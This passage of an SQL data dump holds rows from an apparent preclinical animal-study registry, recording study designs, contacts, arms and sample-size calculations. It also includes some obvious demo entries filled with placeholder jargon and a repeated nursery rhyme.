	(8502,222,'study_arms','[{\"type\":\"control\",\"number\":\"54 (provisional)\",\"intervention\":\"tumor cell engraftment\"},{\"type\":\"intervention\",\"number\":\"96 (provisional)\",\"intervention\":\"GD2-GFP (irrelevant payload)\"},{\"type\":\"sham\",\"number\":\"96 (provisional)\",\"intervention\":\"CD19-CAR IL18 (irrelevant target)\"},{\"type\":\"intervention\",\"number\":\"96 (provisional)\",\"intervention\":\"GD2-IL18 TRUCK\"}]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8503,222,'randomisation','\"no\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8504,222,'why_no_randomisation','\"Exploratory\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8505,222,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8506,222,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8507,222,'placebo_controlled','\"no\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8508,222,'original_animal_ethics_committee_application','\"animal experiment application; Tierversuchsantrag: Aktenzeichen 55.2.2-2532-2-1480\"','2022-03-31 13:23:56','2022-03-31 13:24:03'),
	(8509,222,'application_number','\"number --&gt; Tierversuchsantrag)\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8510,222,'sample_size_calculation','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8511,222,'has_embargo','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8512,217,'short_title','\"Intermittent fasting and stroke recovery\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8513,217,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8514,217,'application_number','\"G071\\/20\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8515,217,'has_embargo','\"no\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8516,220,'title','\"Validation of olfactory paradigms in different substrains of wildtype mice. \"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8517,220,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8518,220,'yes_blinded_intervention_partially_details','\"Sequence and day of testing were determined by a different investigator in the same group. \"','2022-03-31 13:23:56','2022-03-31 13:24:00'),
	(8519,220,'intervention_type','\"other\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8520,223,'title','\"Effect of psychoactive compounds on locomotion\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8521,223,'contact_name','\"Gert Lubec\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8522,223,'contact_role','\"Research group supervisor\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8523,223,'contact_email','\"gert.lubec@lubeclab.com\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8524,223,'financial_support','[\"other\"]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8525,223,'other_financial_support','\"Privat bag\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8526,223,'study_centre','[{\"name\":\"Zentrum f\\u00fcr Biomedizinische Forschung\",\"city\":\"Himberg\",\"country\":\"AT\"}]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8527,223,'start_date','\"2021-01-26\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8528,223,'end_date','\"2021-03-31\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8529,223,'study_status','\"not_started\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8530,223,'research_field','\"neuropharmacology\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8531,223,'hypothesis','\"no applicable\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8532,223,'intervention_type','\"compound\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8533,223,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8534,223,'primary_readout_parameter','\"Safety: side effect on locomotion\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8535,223,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8536,223,'species','\"rat\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8537,223,'sex','\"male\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8538,223,'experimental_design','\"Young healthy rats\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8539,223,'sample_size_calculation','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8540,223,'sample_size_calculation_details','\"Based on the results from previous work, we estimated that for a statistical power of 90%, a sample size of 10 rats\\/group would detect a 30% difference in the measured variables (alpha &lt;0.05)\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8541,223,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8542,223,'yes_blinded_intervention_how_details','\"It\'s not possible, because compounds have different pretreatment times (based upon pharmacokinetics)\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8543,223,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8544,223,'placebo_controlled','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8545,223,'has_embargo','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8546,223,'sum_of_animals','\"72\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8547,223,'strain','\"Sprague-Dawley\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8548,223,'study_arms','[{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"30 % Kolliphor\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"R-modafinil (20,10, 0, 1 mg\\/kg)\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"(S,S)-CE-158 (20,10, 0, 1 mg\\/kg)\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"MK-26 (20,10, 0, 1 mg\\/kg)\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"S-CE-123 (20,10, 0, 1 mg\\/kg)\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"d-Amphetamine (20,10, 0, 1 mg\\/kg)\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Cocaine (20,10, 0, 1 mg\\/kg)\"}]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8549,223,'randomisation','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8550,223,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8551,223,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8552,223,'secondary_readout_parameter','\"sensitization\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8553,225,'title','\"HEALING OF MANDIBULAR CRITICAL SIZE BONE DEFECTS IN RATS USING PIEZOELECTRIC PLATES: AN IN-VIVO STUDY.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8554,225,'short_title','\"PIEZOELECTRIC PLATES IN RAT MANDIBULAR CRITICAL SIZE BONE DEFECTS.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8555,225,'contact_name','\"Riham Fliefel\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8556,225,'contact_role','\"Research group supervisor\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8557,225,'contact_email','\"Riham.Fliefel@med.uni-muenchen.de\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8558,225,'study_centre','[{\"name\":\"Department of Oral and Maxillofacial Surgery, Faculty of Dentistry\",\"city\":\"Alexandria\",\"country\":\"EG\"}]','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8559,225,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8560,225,'start_date','\"2021-01-05\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8561,225,'end_date','\"2022-01-16\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8562,225,'study_status','\"active\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8563,225,'research_field','\"Oral and Maxillofacial Surgery\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8564,225,'hypothesis','\"There is no significant difference between piezoelectric PVDF plates and titanium plates in bone formation in a mandibular osteotomy defect.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8565,225,'intervention_type','\"surgery\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8566,225,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8567,225,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8568,225,'species','\"rat\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8569,225,'sex','\"both\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8570,225,'experimental_design','\"Wister Rats\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8571,225,'primary_readout_parameter','\"Efficacy: Evaluate the effect of those plates in the regeneration of bone and healing of the segmental bone defect in the rat mandible \\n\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8572,225,'secondary_readout_parameter','\"Investigate the piezoelectric property of PVDF plates.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8573,225,'strain','\"Wister Rats\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8574,225,'sample_size_calculation','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8575,225,'sample_size_calculation_details','\"Sample size was estimated based on assuming 5% alpha error and 80% study power. The mean \\u00b1 SD bone volume formed using Titanium plates and non-polarized PVDF plates after 8 weeks was 5.6\\u00b1 1.06 mm3 and 14.7\\u00b14.3 mm3, respectively. Polarization of a smart material such as PVDF may promote more bone regeneration creating larger difference in comparison to Titanium and non-polarized PVDF plates alone. Sample size was calculated based in differences between Titanium and non-polarized PVDF plates using the greatest SD=4.3. The required sample was 5 rats per group which is increased to 6 to make up for processing errors. Total sample size = Number per group \\u00d7 Number of follow up periods \\u00d7 Number of groups = 6 \\u00d7 4 \\u00d7 3 = 72 rats. Software Sample size was based on Rosner\\u2019s method calculated by G power 3.0.10 \"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8576,225,'sum_of_animals','\"72 Rats\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8577,225,'study_arms','[{\"type\":\"control\",\"number\":\"24\",\"intervention\":\"Titanium Plates\"},{\"type\":\"intervention\",\"number\":\"24\",\"intervention\":\"Non-poled PVDF\"},{\"type\":\"intervention\",\"number\":\"24\",\"intervention\":\"Poled PVDF\"}]','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8578,225,'randomisation','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8579,225,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8580,225,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8581,225,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8582,225,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8583,225,'placebo_controlled','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8584,225,'has_embargo','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8585,227,'exclusive_animal_use','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8586,227,'short_title','\"2345678-01-001\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8587,227,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8588,227,'investigators_blinded_assessment','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8589,227,'contact_name','\"Demo Gebruiker\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8590,227,'contact_role','\"Researcher\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8591,227,'contact_email','\"demo@gebruiker.pris\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8592,227,'application_number','\"AVD20888012345678\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8593,227,'end_date','\"2021-03-12\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8594,227,'study_arms','[{\"type\":\"sham\",\"intervention\":\"Interactively matrix technically sound convergence and optimal infrastructures.\",\"number\":\"4\"}]','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8595,227,'hypothesis','\"Collaboratively enhance pandemic web-readiness for high-payoff users. Assertively harness web-enabled scenarios without stand-alone niche markets. Progressively facilitate web-enabled partnerships after just in time methods of empowerment. Phosfluorescently implement standardized data after cutting-edge e-commerce. Monotonectally formulate customized potentialities vis-a-vis interdependent materials.\\n\\n\\nHolisticly whiteboard ubiquitous benefits and adaptive bandwidth. Professionally incubate interoperable technologies with sustainable leadership skills. Monotonectally reconceptualize ethical e-business rather than resource maximizing manufactured products. Uniquely develop ethical channels through B2B supply chains. Proactively administrate granular growth strategies whereas e-business action items.\\n\\n\\nQuickly synthesize interoperable niches whereas efficient growth strategies. Professionally reintermediate low-risk high-yield services with interoperable sources. Rapidiously redefine cross-unit action items via resource-leveling human capital. Compellingly implement cross functional applications via resource maximizing manufactured products. Seamlessly negotiate maintainable models rather than B2C processes.\\n\\n\\nProfessionally re-engineer ubiquitous processes before vertical total linkage. Quickly restore customized convergence without enterprise-wide process improvements. Intrinsicly morph equity invested e-commerce vis-a-vis future-proof vortals. Completely strategize standards compliant niche markets without next-generation partnerships. Collaboratively whiteboard future-proof internal or &quot;organic&quot; sources without business manufactured products.\\n\\n\\nEfficiently drive go forward platforms after professional applications. Continually syndicate covalent relationships and plug-and-play methods of empowerment. Conveniently formulate magnetic e-tailers after vertical technologies. Uniquely negotiate just in time markets.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8596,227,'intervention_type','\"compound\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8597,227,'link_to_data','\" [https:\\/\\/doxx.nl]; Google [https:\\/\\/google.com]; Super [https:\\/\\/super.nl]; Googe [https:\\/\\/googe.com]\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8598,227,'placebo_controlled','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8599,227,'randomisation','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8600,227,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8601,227,'study_centre','[{\"name\":\"Specialistische vakgroep K\",\"city\":\"Amsterdam\",\"country\":\"NL\"}]','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8602,227,'start_date','\"2020-06-17\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8603,227,'sample_size_calculation','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8604,227,'sample_size_calculation_details','\"Collaboratively enhance pandemic web-readiness for high-payoff users. Assertively harness web-enabled scenarios without stand-alone niche markets. Progressively facilitate web-enabled partnerships after just in time methods of empowerment. Phosfluorescently implement standardized data after cutting-edge e-commerce. Monotonectally formulate customized potentialities vis-a-vis interdependent materials.\\r\\n\\r\\n\\r\\nHolisticly whiteboard ubiquitous benefits and adaptive bandwidth. Professionally incubate interoperable technologies with sustainable leadership skills. Monotonectally reconceptualize ethical e-business rather than resource maximizing manufactured products. Uniquely develop ethical channels through B2B supply chains. Proactively administrate granular growth strategies whereas e-business action items.\\r\\n\\r\\n\\r\\nQuickly synthesize interoperable niches whereas efficient growth strategies. Professionally reintermediate low-risk high-yield services with interoperable sources. Rapidiously redefine cross-unit action items via resource-leveling human capital. Compellingly implement cross functional applications via resource maximizing manufactured products. Seamlessly negotiate maintainable models rather than B2C processes.\\r\\n\\r\\n\\r\\nProfessionally re-engineer ubiquitous processes before vertical total linkage. Quickly restore customized convergence without enterprise-wide process improvements. Intrinsicly morph equity invested e-commerce vis-a-vis future-proof vortals. Completely strategize standards compliant niche markets without next-generation partnerships. Collaboratively whiteboard future-proof internal or &quot;organic&quot; sources without business manufactured products.\\r\\n\\r\\n\\r\\nEfficiently drive go forward platforms after professional applications. Continually syndicate covalent relationships and plug-and-play methods of empowerment. Conveniently formulate magnetic e-tailers after vertical technologies. Uniquely negotiate just in time markets.\\r\\n\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8605,227,'species','\"mouse\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8606,227,'strain','\"Muis1, Muizen leverancier A\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8607,227,'sex','\"female\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8608,227,'title','\"PRIS 001 import - Completely underwhelm client-focused action items after excellent niches.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8609,227,'sum_of_animals','\"4\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8610,227,'financial_support','[\"industry\"]','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8611,227,'study_status','\"study_interrupted\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8612,227,'research_field','\"9. * Research field\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8613,227,'other_intervention_type','\"11. * In case of intervention, Intervention type\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8614,227,'other_financial_support','\"5. * Sources of support\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8615,227,'primary_readout_parameter','\"13. * Primary readout parameter\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8616,227,'secondary_readout_parameter','\"14. Secondary readout parameter\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8617,227,'no_exclusive_animal_use_details','\"15. * Are animals exclusively used for this research question?\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8618,227,'other_species','\"16. * Species\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8619,227,'experimental_design','\"19. * Provide the experimental design\\/protocol\\/animal model\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8620,227,'why_no_randomisation','\"23. * Randomisation\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8621,227,'yes_blinded_intervention_partially_details','\"Yes - how? 24. * Blinding\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8622,227,'yes_blinded_intervention_how_details','\"Yes - partially, because 24. * Blinding\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8623,227,'yes_blinded_assessment_partially_details','\"Yes - how? 24. * Blinding (Are the investigators blinded at the time of assessments of outcome(s)?)\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8624,227,'yes_blinded_assessment_how_details','\"Yes - partially, because 24. * Blinding (Are the investigators blinded at the time of assessments of outcome(s)?)\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8625,227,'original_animal_ethics_committee_application','\"www.ibm.com\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8626,227,'has_embargo','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8627,228,'exclusive_animal_use','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8628,228,'short_title','\"Long content :\\nLondon Bridge is falling down,\\nFalling down, falling down.\\nLondon Bridge is falling down,\\nMy fair lady.\\n\\nBuild it up with wood and clay,\\nWood and clay, wood and clay,\\nBuild it up with wood and clay,\\nMy fair lady.\\n\\nWood and clay will wash away,\\nWash away, wash away,\\nWood and clay will wash away,\\nMy fair lady.\\n\\nBuild it up with iron and steel,\\nIron and steel, iron and steel,\\nBuild it up with iron and steel,\\nMy fair lady.\\n\\nIron and steel will bend and bow,\\nBend and bow, bend and bow,\\nIron and steel will bend and bow,\\nMy fair lady.\\n\\nBuild it up with silver and gold,\\nSilver and gold, silver and gold,\\nBuild it up with silver and gold,\\nMy fair lady.\\n\\nRepeated :\\nLondon Bridge is falling down,\\nFalling down, falling down.\\nLondon Bridge is falling down,\\nMy fair lady.\\n\\nBuild it up with wood and clay,\\nWood and clay, wood and clay,\\nBuild it up with wood and clay,\\nMy fair lady.\\n\\nWood and clay will wash away,\\nWash away, wash away,\\nWood and clay will wash away,\\nMy fair lady.\\n\\nBuild it up with iron and steel,\\nIron and steel, iron and steel,\\nBuild it up with iron and steel,\\nMy fair lady.\\n\\nIron and steel will bend and bow,\\nBend and bow, bend and bow,\\nIron and steel will bend and bow,\\nMy fair lady.\\n\\nBuild it up with silver and gold,\\nSilver and gold, silver and gold,\\nBuild it up with silver and gold,\\nMy fair lady.\\n\\nRepeated :\\nLondon Bridge is falling down,\\nFalling down, falling down.\\nLondon Bridge is falling down,\\nMy fair lady.\\n\\nBuild it up with wood and clay,\\nWood and clay, wood and clay,\\nBuild it up with wood and clay,\\nMy fair lady.\\n\\nWood and clay will wash away,\\nWash away, wash away,\\nWood and clay will wash away,\\nMy fair lady.\\n\\nBuild it up with iron and steel,\\nIron and steel, iron and steel,\\nBuild it up with iron and steel,\\nMy fair lady.\\n\\nIron and steel will bend and bow,\\nBend and bow, bend and bow,\\nIron and steel will bend and bow,\\nMy fair lady.\\n\\nBuild it up with silver and gold,\\nSilver and gold, silver and gold,\\nBuild it up with silver and gold,\\nMy fair lady.\\n\\nRepeated :\\nLondon Bridge is falling down,\\nFalling down, falling down.\\nLondon Bridge is falling down,\\nMy fair lady.\\n\\nBuild it up with wood and clay,\\nWood and clay, wood and clay,\\nBuild it up with wood and clay,\\nMy fair lady.\\n\\nWood and clay will wash away,\\nWash away, wash away,\\nWood and clay will wash away,\\nMy fair lady.\\n\\nBuild it up with iron and steel,\\nIron and steel, iron and steel,\\nBuild it up with iron and steel,\\nMy fair lady.\\n\\nIron and steel will bend and bow,\\nBend and bow, bend and bow,\\nIron and steel will bend and bow,\\nMy fair lady.\\n\\nBuild it up with silver and gold,\\nSilver and gold, silver and gold,\\nBuild it up with silver and gold,\\nMy fair lady.\\n\\nRepeated :\\nLondon Bridge is falling down,\\nFalling down, falling down.\\nLondon Bridge is falling down,\\nMy fair lady.\\n\\nBuild it up with wood and clay,\\nWood and clay, wood and clay,\\nBuild it up with wood and clay,\\nMy fair lady.\\n\\nWood and clay will wash away,\\nWash away, wash away,\\nWood and clay will wash away,\\nMy fair lady.\\n\\nBuild it up with iron and steel,\\nIron and steel, iron and steel,\\nBuild it up with iron and steel,\\nMy fair lady.\\n\\nIron and steel will bend and bow,\\nBend and bow, bend and bow,\\nIron and steel will bend and bow,\\nMy fair lady.\\n\\nBuild it up with silver and gold,\\nSilver and gold, silver and gold,\\nBuild it up with silver and gold,\\nMy fair lady.\\n\\nRepeated :\\nLondon Bridge is falling down,\\nFalling down, falling down.\\nLondon Bridge is falling down,\\nMy fair lady.\\n\\nBuild it up with wood and clay,\\nWood and clay, wood and clay,\\nBuild it up with wood and clay,\\nMy fair lady.\\n\\nWood and clay will wash away,\\nWash away, wash away,\\nWood and clay will wash away,\\nMy fair lady.\\n\\nBuild it up with iron and steel,\\nIron and steel, iron and steel,\\nBuild it up with iron and steel,\\nMy fair lady.\\n\\nIron and steel will bend and bow,\\nBend and bow, bend and bow,\\nIron and steel will bend and bow,\\nMy fair lady.\\n\\nBuild it up with silver and gold,\\nSilver and gold, silver and gold,\\nBuild it up with silver and gold,\\nMy fair lady.\\n\\nRepeated :\\nLondon Bridge is falling down,\\nFalling down, falling down.\\nLondon Bridge is falling down,\\nMy fair lady.\\n\\nBuild it up with wood and clay,\\nWood and clay, wood and clay,\\nBuild it up with wood and clay,\\nMy fair lady.\\n\\nWood and clay will wash away,\\nWash away, wash away,\\nWood and clay will wash away,\\nMy fair lady.\\n\\nBuild it up with iron and steel,\\nIron and steel, iron and steel,\\nBuild it up with iron and steel,\\nMy fair lady.\\n\\nIron and steel will bend and bow,\\nBend and bow, bend and bow,\\nIron and steel will bend and bow,\\nMy fair lady.\\n\\nBuild it up with silver and gold,\\nSilver and gold, silver and gold,\\nBuild it up with silver and gold,\\nMy fair lady.\\n\\nRepeated :\\nLondon Bridge is falling down,\\nFalling down, falling down.\\nLondon Bridge is falling down,\\nMy fair lady.\\n\\nBuild it up with wood and clay,\\nWood and clay, wood and clay,\\nBuild it up with wood and clay,\\nMy fair lady.\\n\\nWood and clay will wash away,\\nWash away, wash away,\\nWood and clay will wash away,\\nMy fair lady.\\n\\nBuild it up with iron and steel,\\nIron and steel, iron and steel,\\nBuild it up with iron and steel,\\nMy fair lady.\\n\\nIron and steel will bend and bow,\\nBend and bow, bend and bow,\\nIron and steel will bend and bow,\\nMy fair lady.\\n\\nBuild it up with silver and gold,\\nSilver and gold, silver and gold,\\nBuild it up with silver and gold,\\nMy fair lady.\\n\\n\\/\\/\\/\\/\\/\\/End of the line\\/\\/\\/\\/\\/\\/\\nWord 1040+ Chars 5000+\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8629,228,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8630,228,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8631,228,'contact_name','\"Demo Gebruiker\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8632,228,'contact_role','\"Study leader\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8633,228,'contact_email','\"demo@gebruiker.pris\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8634,228,'application_number','\"AVD20888012345678\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8635,228,'end_date','\"2021-03-12\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8636,228,'research_field','\"Medicine\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8637,228,'financial_support','[\"industry\",\"_investigator_driven\",\"_grants\",\"other\"]','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8638,228,'study_arms','[{\"type\":\"sham\",\"intervention\":\"Continually strategize business leadership through premium human capital. Uniquely.\",\"number\":\"12\"},{\"type\":\"sham\",\"intervention\":\"Proactively integrate robust metrics before.\",\"number\":\"2\"}]','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8639,228,'hypothesis','\"Quickly maximize enabled infrastructures vis-a-vis turnkey synergy. Dramatically underwhelm viral paradigms without robust bandwidth. Rapidiously engineer customer directed services through resource sucking bandwidth. Quickly syndicate covalent information whereas team driven potentialities. Efficiently harness turnkey imperatives and web-enabled e-services.\\r\\n\\r\\n\\r\\nCompetently plagiarize high standards in growth strategies with distributed outsourcing. Holisticly unleash multidisciplinary architectures through exceptional web services. Conveniently procrastinate market positioning content vis-a-vis ethical data. Enthusiastically reinvent web-enabled synergy rather than installed base content. Globally integrate accurate.\\r\\n\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8640,228,'intervention_type','\"other\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8641,228,'other_intervention_type','\"Seamlessly recaptiualize resource sucking synergy without sustainable bandwidth. Monotonectally disintermediate integrated bandwidth without collaborative systems. Phosfluorescently pontificate reliable catalysts for change via cross-platform models. Credibly negotiate extensive technologies before one-to-one infrastructures. Authoritatively e-enable granular e-tailers with go forward partnerships.  Uniquely fashion prospective infomediaries through next-generation e-business. Objectively facilitate backward-compatible intellectual capital before installed base web services. Compellingly create clicks-and-mortar benefits before highly efficient data. Competently engineer orthogonal strategic theme areas with progressive.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8642,228,'primary_readout_parameter','\"Dramatically facilitate virtual action items and compelling materials. Holisticly orchestrate unique alignments before tactical interfaces. Enthusiastically maximize standardized internal or &quot;organic&quot; sources vis-a-vis intermandated portals. Competently plagiarize just in time leadership without client-focused e-tailers. Dramatically procrastinate cross-platform initiatives after market-driven niches.\\n\\nIntrinsicly incubate scalable &quot;outside the box&quot; thinking via worldwide action items. Dynamically enable best-of-breed &quot;outside the box&quot; thinking without interactive web-readiness. Assertively re-engineer cutting-edge methodologies via 24\\/7 portals. Conveniently parallel task cross-media &quot;outside the box&quot; thinking vis-a-vis mission-critical networks. Synergistically plagiarize reliable sources and client-centered content.\\n\\nSynergistically target scalable growth strategies through state of the art process improvements. Conveniently coordinate go forward systems rather than world-class benefits. Assertively build proactive resources through turnkey systems. Quickly engineer diverse technology rather than intermandated deliverables. Holisticly target scalable communities for world-class leadership.\\n\\nEnthusiastically deploy magnetic core competencies rather than technically sound paradigms. Compellingly benchmark extensible e-services with standardized e-services. Dramatically disintermediate cost effective systems for goal-oriented channels. Credibly integrate high-quality total linkage without granular users. Intrinsicly.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
